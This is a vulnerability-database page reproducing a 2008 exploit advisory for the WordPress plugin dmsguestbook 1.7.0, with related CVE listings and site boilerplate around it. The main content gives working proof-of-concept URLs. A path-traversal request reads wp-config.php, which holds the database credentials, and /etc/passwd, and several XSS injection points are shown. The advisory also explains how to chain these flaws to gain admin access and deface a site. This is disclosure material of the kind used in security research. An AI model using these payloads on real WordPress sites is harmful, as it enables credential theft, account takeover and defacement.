Lucene search
+L

WordPress Plugin dmsguestbook 1.7.0 - Multiple Vulnerabilities

🗓️ 02 Feb 2008 00:00:00Reported by NBBNType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

Wordpress Plugin dmsguestbook 1.7.0 Multiple Vulnerabilities, including File Disclosure, Cross-Site Scripting, and SQL-Injectio

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2008-0616
6 Feb 200811:00
cve
Cvelist
CVE-2008-0616
6 Feb 200811:00
cvelist
EUVD
EUVD-2008-0626
7 Oct 202500:30
euvd
NVD
CVE-2008-0616
6 Feb 200812:00
nvd
Patchstack
WordPress DMSGuestbook Plugin <= 1.7.0 - SQL Injection
5 Feb 200800:00
patchstack
Prion
Sql injection
6 Feb 200812:00
prion
Positive Technologies
PT-2008-2241 · WordPress · Dmsguestbook
6 Feb 200800:00
ptsecurity
WPVulnDB
dmsguestbook 1.7.0 - Multiple Remote Vulnerabilities
1 Aug 201400:00
wpvulndb
########################################################
Wordpress Plugin dmsguestbook 1.7.0 Multiple Remote Vulnerabilities
by NBBN  2nd, February 2008
########################################################

1) File Disclosure

Open the following url you can see the config data of wordpress, with the
mysql-server username and password. In this file you usually have write
permission, so an attacker can place his deface page here:

http://site.tld/wordpress/wp-admin/admin.php?page=dmsguestbook&advanced=1&folder=language/&file=../../../../wp-config.php

Vuln code:
Line: 652-655
$handle = fopen ($abspath . "wp-content/plugins/dmsguestbook/" .
$_REQUEST[folder] . $_REQUEST[file], "r");
	if(is_writable($abspath . "wp-content/plugins/dmsguestbook/" .
$_REQUEST[folder] . $_REQUEST[file])) {
	echo "<br />$_REQUEST[file] <font style='color:#00bb00;'>is
writable!</font><br />Set $file readonly again when your finished to
customize!";


$_REQUEST[folder] & $_REQUEST[file] doesn't checked.



Another PoC:
http://localhost/xampp/wordpress/wp-admin/admin.php?page=dmsguestbook&advanced=1&folder=language/&file=../../../../../../../../../../../../../../../../etc/passwd

Ok, for this you need an admin account, but you can get an admin account with
the follow xss vulnerabilities.

################


2) Cross-Site Scripting Vulnerabilities

a) If the script doesn't find the file, php shows an errormessage, so for xss
open this:


http://site.tldwordpress/wp-admin/admin.php?page=dmsguestbook&advanced=1&folder=language/&file=<script>alert("XSS")</script>

b) Another vulnerability:

Find the guestbook page. In the messagefield write &lt;/textarea&gt;[your xss code].
So, if admin go to the admin panel, to show himself the guestbook, he execute
your xss code

c) Again in the guestbook

Enter your message in the title ">[xss]  and in the messagearea:
&lt;/textarea&gt;[xss] and enter a wrong captcha-code, you execute the xss code




Note: There more some more XSS-Vuln's.


################

3) SQL-Injection Vulnerabilities

There are some SQL-Injection vulnerabilites, but an attacker need an admin
account and if he is in the administration-panel, a sql-injection he not
need.

# milw0rm.com [2008-02-02]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Feb 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.5
EPSS0.03313
37